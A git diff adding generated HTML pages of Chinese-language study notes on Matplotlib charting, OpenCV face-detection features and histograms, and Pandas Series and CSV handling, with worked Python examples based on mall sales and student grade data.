+earnnum = ( wnum - 49 ) * num
+cusprice = wnum * num
+cusnum = num * ( price - wnum)
+plt. xlabel( '顾客购买数量(件)' )
+plt. ylabel( '金额(元)' )
+plt. plot( num, earnnum, '--' , label= '商家收益' )
+plt. plot( num, cusprice, label= '顾客总消费' )
+plt. plot( num, cusnum, ':' , label= '顾客省钱' )
+plt. title( '数量--金额关系图' )
+
+plt. legend( )
+plt. show( )
+
+
散点图实战 例1:折线图重绘为散点图 结合折线图和散点图,重新绘制例9-2中要求的图形。 使用plot()函数依次连接若干端点绘制折线图 使用scatter()函数在指定的端点处绘制散点图 结合以上两个函数,可以实现例9-2同样的效果图。 为了稍做区分,在本例中把端点符号设置为蓝色三角形。 例2:商场信号强度 某商场开业三个月后,有顾客反应商场一楼部分位置的手机信号不好,个别收银台有时无法正常使用微信支付或支付宝,商场内也有些位置无法正常使用微信。 为此,商场安排工作人员在不同位置对手机信号强度进行测试以便进一步提高服务质量和用户体验 测试数据保存于文件D:\服务质量保证\商场一楼手机信号强度.txt
中 文件中每行使用逗号分隔的三个数字分别表示商场内一个位置的x、y坐标和信号强度 其中x、y坐标值以商场西南角为坐标原点且向东为x正轴(共150米)、向北为y正轴(共30米) 信号强度以0表示无信号、100表示最强。 编写程序,使用散点图对该商场一楼所有测量位置的手机信号强度进行可视化 既可以直观地发现不同位置信号的强度以便分析原因 也方便观察测试位置的分布是否合理。 在散点图中 使用横轴表示x坐标位置 纵轴表示y坐标位置 使用五角星标记测量位置 五角星大小表示信号强度 五角星越大表示信号越强,反之表示信号越弱。 为了获得更好的可视化效果,信号强度 高于或等于70的位置使用绿色五角星 低于70且高于或等于40的使用蓝色五角星 低于40的位置使用红色五角星。 例3:商场优惠折线图散点图结合 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+num = np. array( range ( 1 , 31 ) )
+
+price = 75
+wnum = np. array( [ price * ( 1 - 0.01 * i) for i in num] )
+earnnum = ( wnum - 49 ) * num
+cusprice = wnum * num
+cusnum = num * ( price - wnum)
+plt. xlabel( '顾客购买数量(件)' )
+plt. ylabel( '金额(元)' )
+plt. plot( num, earnnum, '--' , label= '商家收益' )
+plt. plot( num, cusprice, label= '顾客总消费' )
+plt. plot( num, cusnum, ':' , label= '顾客省钱' )
+plt. title( '数量--金额关系图' )
+
+maxearn = max ( earnnum)
+
+pos = list ( earnnum) . index( maxearn)
+
+plt. scatter( pos + 1 , maxearn, marker= '*' , color= 'r' , s= 240 )
+plt. legend( )
+plt. show( )
+
+
标注数字 如何实现标注annotate( s= 'str' ,
+ xy= ( x, y) ,
+ xytext= ( l1, l2) ,
+ arrowprops= dict ( ) )
+
s:标注的文本 xy=(横坐标,纵坐标) 箭头尖端 xytext=(横坐标,纵坐标) 文字的坐标 arrowprops= {facecolor= '颜色',shrink = '数字' ,arrowstyle=''} import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+num = np. array( range ( 1 , 31 ) )
+
+price = 75
+wnum = np. array( [ price * ( 1 - 0.01 * i) for i in num] )
+earnnum = ( wnum - 49 ) * num
+cusprice = wnum * num
+cusnum = num * ( price - wnum)
+plt. xlabel( '顾客购买数量(件)' )
+plt. ylabel( '金额(元)' )
+plt. plot( num, earnnum, '--' , label= '商家收益' )
+plt. plot( num, cusprice, label= '顾客总消费' )
+plt. plot( num, cusnum, ':' , label= '顾客省钱' )
+plt. title( '数量--金额关系图' )
+
+maxearn = max ( earnnum)
+
+pos = list ( earnnum) . index( maxearn)
+
+plt. scatter( pos + 1 , maxearn, marker= '*' , color= 'r' , s= 240 )
+plt. annotate( maxearn, xy= ( pos + 1 , maxearn + 40 ) ,
+ xytext= ( pos, maxearn + 300 ) ,
+ arrowprops= dict ( facecolor= 'blue' ,
+ shrink= 5 ,
+ )
+ )
+plt. legend( )
+plt. show( )
+
+
Matplotlib数据可视化 数据可视化的误区 没有明确可视化的目标 通过特殊图形设置误导受众 选择过于“花哨”的图形却忽略了可视化的本质 缺乏根据信息表达目标选择“最佳”图形的意识 信息过载 可视化方式 趋势 趋势指多组数据随时间变化的发展趋势,或者一组数据对另个一组数据的依赖程度。 例如走势的高低、状态的变化好坏,按周的订单量趋势、按月的转化率趋势等等通常用于按时间发展的眼光来评估事物的场景。 常用的可视化图形是折线图 (plot ()) 在数据项较少 的情况下,也可以使用柱形图 (bar ())。 数据项比较少时用柱状图比较清晰,但是当数据项多时柱状图会显得并排会显得比较挤 示例:商场部门业绩 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+food_d = [ 60 , 40 , 46 , 50 , 57 , 76 , 70 , 33 , 70 , 61 , 49 , 45 ]
+cos_d = [ 110 , 75 , 133 , 80 , 83 , 95 , 87 , 89 , 96 , 88 , 86 , 89 ]
+gold_d = [ 143 , 100 , 89 , 90 , 78 , 129 , 100 , 97 , 108 , 152 , 96 , 87 ]
+
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+
+plt. figure( figsize= ( 10 , 5 ) )
+plt. title( '某商场各部门业绩(万元)' )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+
+plt. plot( month, food_d, linestyle= '--' , color= 'blue' )
+plt. plot( month, man_d, color= 'r' )
+plt. plot( month, woman_d, color= 'c' , linestyle= ':' )
+plt. plot( month, cos_d, color= 'y' )
+plt. plot( month, gold_d, linestyle= '-.' )
+
+plt. legend( [ '餐饮' , '男装' , '女装' , '化妆品' , '金银首饰' ] )
+
+plt. show( )
+
+
对比 对比指不同事物之间或同一事物在不同时间下的优劣等的对照,能够比较清晰地反映数据的差异,一般情况下用来反映分类项目之间的比较。 例如商场中不同部门的月业绩情况,某课程的成绩的分布情况,新用户与老用户的客单价对比、不同广告来源渠道的订单量和利润率对比等。 常用的可视化图形 对比数据较少 时选 而多个对象的多个指标的同时对比可用 示例:商场男女装销售对比 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. figure( figsize= ( 10 , 5 ) )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+plt. bar( month, man_d, 0.8 , color= '#FF00FF' , label= '男装' , )
+plt. bar( month, woman_d, color= 'lightskyblue' , label= '女装' )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( )
+plt. show( )
+
+
图形美化-"倒影"柱状图 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+
+woman_d = np. array( [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ] )
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. figure( figsize= ( 10 , 5 ) )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+plt. bar( month, man_d, 0.8 , color= '#FF00FF' , label= '男装' , )
+plt. bar( month, - woman_d, color= 'lightskyblue' , label= '女装' )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( )
+plt. show( )
+
+
美化-并列柱状图 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. figure( figsize= ( 10 , 5 ) )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+plt. bar( month - 0.4 , man_d, 0.4 , color= '#FF00FF' , label= '男装' , )
+plt. bar( month, woman_d, 0.4 , color= 'lightskyblue' , label= '女装' )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( )
+plt. show( )
+
+
美化:添加注释文字 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. figure( figsize= ( 10 , 5 ) )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+plt. bar( month - 0.4 , man_d, 0.4 , color= '#FF00FF' , label= '男装' , )
+plt. bar( month, woman_d, 0.4 , color= 'lightskyblue' , label= '女装' )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( )
+
+for i, j in zip ( month, man_d) :
+ plt. text( i - 0.4 , j/ 2 , j, ha= 'center' )
+
+
+
+
+
+
+for i, j in zip ( month, woman_d) :
+ plt. text( i - 0.1 , j - 10 , j)
+plt. show( )
+
+
for i, j in zip ( month, man_d) :
+ plt. text( i - 0.4 , j/ 2 , j, ha= 'center' )
+
j i-0.4 j/2 ha = 'center' i-0.4作为文字的横向中点,文字/数值均匀分布在i-0.4两侧 运行截图
示例2:商场各部门业绩 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+re_d = [ 60 , 40 , 46 , 50 , 57 , 76 , 70 , 33 , 70 , 61 , 49 , 45 ]
+hua_d = [ 110 , 75 , 133 , 80 , 83 , 95 , 87 , 89 , 96 , 88 , 86 , 89 ]
+gl_d = [ 143 , 100 , 89 , 90 , 78 , 129 , 100 , 97 , 108 , 152 , 96 , 87 ]
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. figure( figsize= ( 10 , 5 ) )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+plt. bar( month - 0.1 , re_d, 0.1 )
+plt. bar( month, man_d, 0.1 , color= 'r' )
+plt. bar( month + 0.1 , woman_d, 0.1 , color= 'b' )
+plt. bar( month + 0.2 , hua_d, 0.1 )
+plt. bar( month + 0.3 , gl_d, 0.1 )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( [ '餐饮' , '男装' , '女装' , '化妆品' , '金银首饰' ] )
+plt. show( )
+
+
运行截图显得比较挤,感觉上没有折线图美观 并且数据项多了之后同一组数据的变化趋势就不明显了 单作对比数据实用的话这样画柱状图还好 但是用折线图的话还能同时反映每组数据的变化趋势 转化:条形图:barh() import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+re_d = [ 60 , 40 , 46 , 50 , 57 , 76 , 70 , 33 , 70 , 61 , 49 , 45 ]
+hua_d = [ 110 , 75 , 133 , 80 , 83 , 95 , 87 , 89 , 96 , 88 , 86 , 89 ]
+gl_d = [ 143 , 100 , 89 , 90 , 78 , 129 , 100 , 97 , 108 , 152 , 96 , 87 ]
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+
+plt. figure( figsize= ( 10 , 6 ) )
+plt. ylim( 0 , 13 )
+plt. yticks( month, mo)
+plt. ylabel( '月份' )
+plt. xlabel( '营业额(万元)' , labelpad= 12 )
+plt. barh( month - 0.2 , re_d, 0.2 , color= 'pink' )
+plt. barh( month, man_d, 0.2 , color= 'r' )
+plt. barh( month + 0.2 , woman_d, 0.2 , color= 'c' )
+plt. barh( month + 0.4 , hua_d, 0.2 , color= 'yellow' )
+plt. barh( month + 0.6 , gl_d, 0.2 , color= 'blue' )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( [ '餐饮' , '男装' , '女装' , '化妆品' , '金银首饰' ] )
+plt. show( )
+
+
结构 结构也可以称为成分、构成或内容组成,指的是一个整体内有哪些元素组成,以及各个元素的影响因素或程度的大小。 例如不同品类的利润占比、不同类型客户的销售额占比、总体中各组成部分所占比重等。 常用的可视化图形,一般使用饼图(圆形图)及其变体, 示例1:成绩分段 import matplotlib. pyplot as plt
+import random
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+
+stu_s = [ random. randint( 40 , 100 ) for i in range ( 30 ) ]
+grade = { '0-49' : 0 ,
+ '50-59' : 0 ,
+ '60-69' : 0 ,
+ '70-79' : 0 ,
+ '80-89' : 0 ,
+ '90-100' : 0 }
+
+plt. figure( figsize= ( 10 , 6 ) )
+plt. title( '学生成绩分段统计图' )
+plt. ylabel( '学生成绩分段人数' )
+plt. xlabel( '分数段' )
+
+for i in stu_s:
+ if i <= 49 :
+ s = '0-49'
+ grade[ s] = grade. get( s, 0 ) + 1
+ elif i <= 59 :
+ s = '50-59'
+ grade[ s] = grade. get( s, 0 ) + 1
+ elif i <= 69 :
+ s = '60-69'
+ grade[ s] = grade. get( s, 0 ) + 1
+ elif i <= 79 :
+ s = '70-79'
+ grade[ s] = grade. get( s, 0 ) + 1
+ elif i <= 89 :
+ s = '80-89'
+ grade[ s] = grade. get( s, 0 ) + 1
+ else :
+ s = '90-100'
+ grade[ s] = grade. get( s, 0 ) + 1
+
+gr1_name = list ( )
+gr1_data = list ( )
+for i in grade:
+ gr1_name. append( i)
+ gr1_data. append( grade[ i] )
+gr1 = range ( len ( gr1_name) )
+plt. xticks( gr1, gr1_name)
+plt. bar( gr1_name, gr1_data, 0.6 , color= 'c' )
+for x, y in zip ( gr1_name, gr1_data) :
+ plt. text( x, y + 0.1 , str ( y) )
+
+plt. show( )
+
+
+
上一页
json
下一页
numpy
+
+
+
diff --git a/Language/Python/libs/Matplotlib/index.html b/Language/Python/libs/Matplotlib/index.html
new file mode 100644
index 0000000000..7ae8bc0e97
--- /dev/null
+++ b/Language/Python/libs/Matplotlib/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Matplotlib | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/libs/OpenCV/OpenCV-python.html b/Language/Python/libs/OpenCV/OpenCV-python.html
new file mode 100644
index 0000000000..f10f6d85af
--- /dev/null
+++ b/Language/Python/libs/OpenCV/OpenCV-python.html
@@ -0,0 +1,158 @@
+
+
+
+
+
+
+
+ OpenCV-python | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 OpenCV-python cv2.CascadeClassifier
Haar
Haar 特征是一种反映图像的灰度变化的,像素分模块求差值的一种特征。
它分为三类:边缘特征
、线性特征
、中心特征和对角线特征
。
用黑白两种矩形框组合成特征模板,在特征模板内用 黑色矩形像素和 减去 白色矩形像素和来表示这个模版的特征值。
例如:脸部的一些特征能由矩形模块差值特征简单的描述,如:眼睛要比脸颊颜色要深,鼻梁两侧比鼻梁颜色要深,嘴巴比周围颜色要深等。 但矩形特征只对一些简单的图形结构,如边缘、线段较敏感,所以只能描述在特定方向(水平、垂直、对角)上有明显像素模块梯度变化的图像结构。这样就可以进行区分人脸。 LBP
LBP
特征的背景介绍 LBP 指局部二值模式,英文全称:Local Binary Pattern,是一种用来描述图像局部特征的算子;
LBP 特征具有灰度不变性和旋转不变性等显著优点。由 T.Ojala, M.Pietikäinen, 和 D.Harwood 在1994年提出;
由于 LBP 特征计算简单、效果较好,因此 LBP 特征在计算机视觉的许多领域都得到了广泛的应用,LBP 特征比较出名的应用是用在人脸识别和目标检测中,在计算机视觉开源库 Opencv 中有使用 LBP 特征进行人脸识别的接口,也有用 LBP 特征训练目标检测分类器的方法,Opencv 实现了 LBP 特征的计算,但没有提供一个单独的计算 LBP 特征的接口。
LBP特征的原理 1.原始LBP特征描述及计算方法
原始的 LBP 算子定义在像素 3 ∗ 3 3*3 3 ∗ 3 的邻域内,以邻域中心像素为阈值,相邻的 8 个像素的灰度值与邻域中心的像素值进行比较,若周围像素大于中心像素值,则该像素点的位置被标记为 1 ,否则为 0 。这样,3 ∗ 3 3*3 3 ∗ 3 邻域内的 8 个点经过比较可产生 8 位二进制数,将这 8 位二进制数依次排列形成一个二进制数字,这个二进制数字就是中心像素的 LBP 值,LBP 值共有 2 8 = 256 2^8 = 256 2 8 = 256 种可能。中心像素的 LBP 值反映了该像素周围区域的纹理信息。 PS : 计算 LBP 特征的图像必须是灰度图,如果是彩色图,需要先转换成灰度图。
2.LBP 特征的改进版本
在原始的 LBP 特征提出以后,研究人员对 LBP 特征进行了很多的改进,因此产生了许多 LBP 的改进版本。 save, 留个眼[bookmark]在这里, 先写其他的了
detectMultiScale()
void detectMultiScale(
+ // 待检测图像
+ const Mat& image,
+ // 被检测物体的矩形框向量
+ CV_OUT vector & objects,
+ // 前后两次相继的扫描中搜索窗口的比例系数,默认为 1.1 即每次搜索窗口扩大 10%
+ double scaleFactor = 1.1,
+ /*构成检测目标的相邻矩形的最小个数
+ 如果组成检测目标的小矩形的个数和
+ 小于 minneighbors - 1 都会被排除
+ 如果 minneighbors为 0
+ 则函数不做任何操作就返回所有被检候选矩形框
+ */
+ int minNeighbors = 3,
+ // 若设置为 CV_HAAR_DO_CANNY_PRUNING 函数将会使用 Canny 边缘检测来排除边缘过多或过少的区域
+ int flags = 0,
+ // 最后两个参数用来限制得到的目标区域的范围
+ Size minSize = Size(),
+ Size maxSize = Size()
+ );
+
falgs
CV_HAAR_DO_CANNY_PRUNING
: 利用Canny边缘检测器来排除一些边缘很少或者很多的图像区域CV_HAAR_SCALE_IMAGE
: 按比例正常检测CV_HAAR_FIND_BIGGEST_OBJECT
: 只检测最大的物体CV_HAAR_DO_ROUGH_SEARCH
: 只做初略检测 直方图处理 对一幅低对比度分辨率的图像采用直方图均衡化和规定化方法实现图像增强,分别采用系统函数和自己编写函数实现相应用功能。
参考链接@CodecWangopen in new window
直方图
: 简单来说,直方图就是图像中每个像素值的个数统计形成的柱状图
OpenCV中直方图计算
cv2. calcHist( images, channels, mask, histSize, ranges)
+
images
: 要计算的原图,以方括号的传入,如:[img]
channels
: 类似dims,灰度图写[0]就行,彩色图B/G/R分别传入[0]/[1]/[2]
dims
: 要计算的通道数,对于灰度图dims=1,普通彩色图dims=3mask
: 要计算的区域,计算整幅图的话,写None
histSize
: 子区段数目,如果我们统计0~255每个像素值histSize=256;如果划分区间,比如0~15, 16~31…240~255这样16个区间,histSize=16
ranges
: 要计算的像素值范围,一般为[0,256)
绘制直方图
import cv2
+ import matplotlib. pyplot as plt
+
+ img = cv2. imread( '../resource/pic/lena_low_quality.jpg' )
+ plt. hist( img. ravel( ) , 256 , [ 0 , 256 ] )
+ plt. show( )
+
直方图均衡化
自己编写函数实现相应用功能
import cv2
+import numpy as np
+import matplotlib. pyplot as plt
+
+
+
+def hist_equal ( image, z_max= 255 ) :
+ H, W = image. shape
+ S = H * W * 1.
+ out = image. copy( )
+ sum_h = 0.
+
+ for i in range ( 1 , 255 ) :
+ ind = np. where( image == i)
+
+ sum_h += len ( image[ ind] )
+
+ z_prime = z_max / S * sum_h
+
+ out[ ind] = z_prime
+
+ out = out. astype( np. uint8)
+
+ return out
+
+
+img = cv2. imread( "../resource/pic/lena_low_quality.jpg" , 0 ) . astype( np. float )
+out = hist_equal( img)
+
+plt. hist( out. ravel( ) , bins= 255 , rwidth= 0.8 , range = ( 0 , 255 ) )
+plt. show( )
+
+cv2. imshow( "result" , out)
+cv2. waitKey( 0 )
+cv2. destroyAllWindows( )
+
上一页
numpy
下一页
Pandas
+
+
+
diff --git a/Language/Python/libs/OpenCV/index.html b/Language/Python/libs/OpenCV/index.html
new file mode 100644
index 0000000000..5a831b04b9
--- /dev/null
+++ b/Language/Python/libs/OpenCV/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Open C V | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/libs/Pandas/Pandas.html b/Language/Python/libs/Pandas/Pandas.html
new file mode 100644
index 0000000000..3fc97a9648
--- /dev/null
+++ b/Language/Python/libs/Pandas/Pandas.html
@@ -0,0 +1,237 @@
+
+
+
+
+
+
+
+ 目录 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 目录 Pandas Pandas数据分析 pandas的名称来自于panel data(面板数据)和data analysis(数据分析)。 是基于扩展库numpy和matplotlib的数据分析模块,是一个开源项目。 Pandas提供了大量标准数据模型和高效操作大型数据集所需要的函数和方法,是使得Python能够成为高效且强大的数据分析工具的重要因素之一。 pandas数据结构 Pandas常用的数据结构有: 1)Series,带标签的一维数组; 2)DatetimeIndex,时间序列; 3)DataFrame,带标签且大小可变的二维表格结构; 4)Panel,带标签且大小可变的三维数组。 Series pandas提供的类似于一维数组的字典结构的对象, 如果在创建时没有明确指定索引则会自动使用从0开始的非负整数作为索引。 Series对象a = pd.Series([23, 54, 32, 65, 87, 54])
+# print(a)
+0 23
+1 54
+2 32
+3 65
+4 87
+5 54
+dtype: int64
+
通常默认索引从0开始 自定义索引b = pd.Series([23, 54, 32, 65, 87, 54],
+ index=[chr(i + ord('A')) for i in range(6)])
+# 输出b
+A 23
+B 54
+C 32
+D 65
+E 87
+F 54
+dtype: int64
+
常用创建方法 from pandas import Series
+import numpy as np
+
+
+s1 = Series( [ 1 , 2 , 3 , 4 ] )
+
+s2 = Series( range ( 3 ) )
+
+s3 = Series( np. array( [ 1 , 2 , 3 , 4 ] ) )
+s4 = Series( np. arange( 6 , 10 ) )
+
+s5 = Series( { '语文' : 90 , '数学' : 87 } )
+
+s6 = Series( [ 12 , 3 , 4 ] , index= [ 'A' , 'B' , 'C' ] )
+s7 = Series( [ 12.3 , 34.5 , 3.6 , ] , [ 'I' , 'II' , 'III' ] )
+print ( "s1 = Series([1, 2, 3, 4]):\n{0}\n"
+ "s2 = Series(range(3)):\n{1}\n"
+ "s3 = Series(np.array([1, 2, 3, 4])):\n{2}\n"
+ "s4 = Series(np.arange(6, 10)):\n{3}\n"
+ . format ( s1, s2, s3, s4) )
+print ( r"s5 = Series({'语文': 90, '数学': 87}):" )
+print ( s5)
+print ( "s6 = Series([12, 3, 4], index=['A', 'B', 'C']):\n{0}"
+ "s7 = Series([12.3, 34.5, 3.6, ], ['I', 'II', 'III']):\n{0}"
+ . format ( s6, s7) )
+
+
+
+s1 = Series( [ 1 , 2 , 3 , 4 ] ) :
+0 1
+1 2
+2 3
+3 4
+dtype: int64
+s2 = Series( range ( 3 ) ) :
+0 0
+1 1
+2 2
+dtype: int64
+s3 = Series( np. array( [ 1 , 2 , 3 , 4 ] ) ) :
+0 1
+1 2
+2 3
+3 4
+dtype: int32
+s4 = Series( np. arange( 6 , 10 ) ) :
+0 6
+1 7
+2 8
+3 9
+dtype: int32
+
+s5 = Series( { '语文' : 90 , '数学' : 87 } ) :
+语文 90
+数学 87
+dtype: int64
+s6 = Series( [ 12 , 3 , 4 ] , index= [ 'A' , 'B' , 'C' ] ) :
+A 12
+B 3
+C 4
+dtype: int64s7 = Series( [ 12.3 , 34.5 , 3.6 , ] , [ 'I' , 'II' , 'III' ] ) :
+A 12
+B 3
+C 4
+dtype: int64
+
常用运算 from pandas import Series
+
+s1 = Series(range(4))
+s2 = Series({'语文': 90, '数学': 87, '英语': 67, '程序设计': 78})
+s3 = Series({'语文': 20, '数学': 80, '英语': 67, '程序设计': 78, 'w': 23})
+print("s1:\n{0}\ns2:\n{1}\ns3:\n{2}".format(s1, s2, s3))
+s1:
+0 0
+1 1
+2 2
+3 3
+dtype: int64
+s2:
+语文 90
+数学 87
+英语 67
+程序设计 78
+dtype: int64
+s3:
+语文 20
+数学 80
+英语 67
+程序设计 78
+w 23
+dtype: int64
+
同索引等长的Series可进行算术运算print("s2 - s3:\n{0}\ns2 + s3:\n{1}\ns2 * s3:\n{2}\ns2 / s3:\n{3}".format(s2 - s3, s2 + s3, s2 * s3, s2 / s3))
+
不同索引运算其相对应的值控制为NaNprint ( "s1+s2:\n{0}" . format ( s1 + s2) )
+
Series对象与标量进行算术运算print ( "s3*2:\n{0}\ns3**0.5:\n{1}" . format ( s3 * 2 , s3 ** 0.5 ) )
+
Series对象的关系运算print ( "\ns2[s2 >= 80]:\n{0}" . format ( s2[ s2 >= 80 ] ) )
+
计算Series对象的中值print("\ns3.median():\n{0}".format(s3.median()))
+
计算s2中最小的1个值print('\ns2.nsmallest(1):\n', s2.nsmallest(1))
+
计算s2中最大的1个值print ( 's2.nlargest(1):\n' , s2. nlargest( 1 ) )
+
values的访问与修改 from pandas import Series
+
+s1 = Series(range(1, 11))
+s2 = Series({'语文': 90, '数学': 87, '英语': 67, '程序设计': 78})
+
通过索引,切片访问Series的valueprint ( "s1[4] : {0}\ns2['英语'] : {1}" . format ( s1[ 4 ] , s2[ '英语' ] ) )
+print ( "s1[1:4]:\n{0}\n"
+ "s2[1:3]:\n{1}" . format ( s1[ 1 : 4 ] , s2[ 1 : 3 ] ) )
+
通过索引修改Series的value,注意字典的键为索引s2[ '程序设计' ] = 89
+print ( "s2:\n{0}" . format ( s2) )
+
DataFrame 数据的导入与导出 pandas可以将读取到的数据转成DataFrame类型的数据结构,通过操作DataFrame进行数据分析,数据预处理以及行和列的操作等。也可以将数据写入文件。 read_csv to_csv
+read_excel to_excel
+read_json to_json
+read_sql to_sql
+read_pickle to_pickle
+read_html to_html
+... ... ... ...
+
数据的导入参数 student.csv
姓名 , 数学 , 程序设计 , 英语
+张一 , 56 , 94 , 45
+王宏 , 76 , 77 , 90
+李玉 , 45 , 87 , 77
+吴苛左 , 87 , 55 , 89
+季晶 , 45 , 95 , 75
+五一 , 83 , 77 , 93
+李言 , 87 , 45 , 99
+于旧 , 92 , 75 , 34
+王工 , 97 , 67 , 56
+才一 , 56 , 73 , 78
+于旧 , 92 , 75 , 34
+
import pandas as pd
+import os
+
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student.csv'))
+stu = pd.read_csv(file_path,
+ sep=',', # 指定分隔符
+ delimiter=',', # 分隔符
+ encoding='utf-8',
+ header=[0], # 指定行数用来作为列名,默认第一行为列名
+ index_col=0, # 指定列编号或者列名为索引
+ skiprows=None, # 需要忽略的行数(从文件开始处算起)
+ )
+print(stu)
+
+# 运行结果
+ 数学 程序设计 英语
+姓名
+张一 56 94 45
+王宏 76 77 90
+李玉 45 87 77
+吴苛左 87 55 89
+季晶 45 95 75
+五一 83 77 93
+李言 87 45 99
+于旧 92 75 34
+王工 97 67 56
+才一 56 73 78
+于旧 92 75 34
+
导入xlsx
最新版的xlrd不支持xlsx 先卸载: 然后用版本号装一个低版本的pip install -i https://pypi.tuna.tsinghua.edu.cn/simple xlrd==1.2.0
+
数据的导出参数 import pandas as pd
+import os
+
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student.csv'))
+file_path_save = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student1.csv'))
+
+stu = pd.read_csv(file_path,
+ sep=',', # 指定分隔符
+ delimiter=',', # 分隔符
+ encoding='utf-8',
+ header=[0], # 指定行数用来作为列名,默认第一行为列名
+ index_col=0, # 指定列编号或者列名为索引
+ skiprows=None, # 需要忽略的行数(从文件开始处算起)
+ )
+print(stu)
+stu.to_csv(file_path_save,
+ sep=',', # 指定分隔符
+ encoding='utf-8',
+ header=False, # 表示是否写入数据中的列名,默认为False
+ index=0, # 表示是否将行索引写入文件,默认为True
+ )
+print(stu)
+
+
上一页
OpenCV-python
下一页
Pillow
+
+
+
diff --git a/Language/Python/libs/Pandas/index.html b/Language/Python/libs/Pandas/index.html
new file mode 100644
index 0000000000..bcbc2c7995
--- /dev/null
+++ b/Language/Python/libs/Pandas/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Pandas | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/libs/Pillow/Pillow.html b/Language/Python/libs/Pillow/Pillow.html
new file mode 100644
index 0000000000..5f17e423ad
--- /dev/null
+++ b/Language/Python/libs/Pillow/Pillow.html
@@ -0,0 +1,48 @@
+
+
+
+
+
+
+
+ 目录 | DailyNotes
+
+
+
+
+
+
